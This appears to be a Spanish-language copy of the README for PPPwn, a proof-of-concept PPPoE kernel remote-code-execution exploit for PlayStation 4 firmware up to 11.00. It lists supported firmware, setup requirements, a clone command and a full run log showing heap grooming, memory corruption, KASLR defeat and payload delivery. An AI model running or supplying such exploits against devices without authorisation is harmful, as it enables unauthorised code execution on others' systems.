PPPwn - PlayStation 4 PPPoE RCE

PPPwn es un exploit de ejecución remota de código en el kernel para PlayStation 4 hasta FW 11.00. Este es un exploit de prueba de concepto para CVE-2006-4304 que se informó de forma responsable a PlayStation.

Las versiones compatibles son:

FW 7.00 / 7.01 / 7.02
FW 7.50 / 7.51 / 7.55
FW 8.00 / 8.01 / 8.03
FW 8.50 / 8.52
FW 9.00
FW 9.03 / 9.04
FW 9.50 / 9.51 / 9.60
FW 10.00 / 10.01
FW 10.50 / 10.70 / 10.71
FW 11.00
se pueden añadir más (los PR son bienvenidos)

El exploit solo imprime PPPwned en tu PS4 como prueba de concepto. Para poder lanzar Mira u otros habilitadores de homebrew similares, el payload stage2.bin debe adaptarse.

Requisitos

Una computadora con un puerto Ethernet
- Un adaptador USB también funciona
Cable Ethernet
Linux
- Puedes usar VirtualBox para crear una VM Linux con Bridged Adapter como adaptador de red para usar el puerto Ethernet en la VM.
Python3 y gcc instalados

Uso

En tu computadora, clona el repositorio:

git clone --recursive https://github.com/TheOfficialFloW/PPPwn

[+] PPPwn - PlayStation 4 PPPoE RCE by theflow [+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] STAGE 0: Initialization [*] Waiting for PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] Source MAC: 07:ba:be:34:d6:ab [+] AC cookie length: 0x4e0 [*] Sending PADO... [*] Waiting for PADR... [*] Sending PADS... [*] Waiting for LCP configure request... [*] Sending LCP configure ACK... [*] Sending LCP configure request... [*] Waiting for LCP configure ACK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure NAK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure ACK... [*] Sending IPCP configure request... [*] Waiting for IPCP configure ACK... [*] Waiting for interface to be ready... [+] Target IPv6: fe80::2d9:d1ff:febc:83e4 [+] Heap grooming...done [+] STAGE 1: Memory corruption [+] Pinning to CPU 0...done [*] Sending malicious LCP configure request... [*] Waiting for LCP configure request... [*] Sending LCP configure ACK... [*] Sending LCP configure request... [*] Waiting for LCP configure ACK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure NAK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure ACK... [*] Sending IPCP configure request... [*] Waiting for IPCP configure ACK... [+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141 [+] STAGE 2: KASLR defeat [*] Defeating KASLR... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] STAGE 3: Remote code execution [*] Sending LCP terminate request... [*] Waiting for PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] Source MAC: 97:df:ea:86:ff:ff [+] AC cookie length: 0x511 [*] Sending PADO... [*] Waiting for PADR... [*] Sending PADS... [*] Triggering code execution... [*] Waiting for stage1 to resume... [*] Sending PADT... [*] Waiting for PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] Target MAC: xx:xx:xx:xx:xx:xx [+] AC cookie length: 0x0 [*] Sending PADO... [*] Waiting for PADR... [*] Sending PADS... [*] Waiting for LCP configure request... [*] Sending LCP configure ACK... [*] Sending LCP configure request... [*] Waiting for LCP configure ACK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure NAK... [*] Waiting for IPCP configure request... [*] Sending IPCP configure ACK... [*] Sending IPCP configure request... [*] Waiting for IPCP configure ACK... [+] STAGE 4: Arbitrary payload execution [*] Sending stage2 payload... [+] Done!

PPPwn

Más Populares

Ejemplo de ejecución

Notas para usuarios de Mac Apple Silicon (arm64 / aarch64)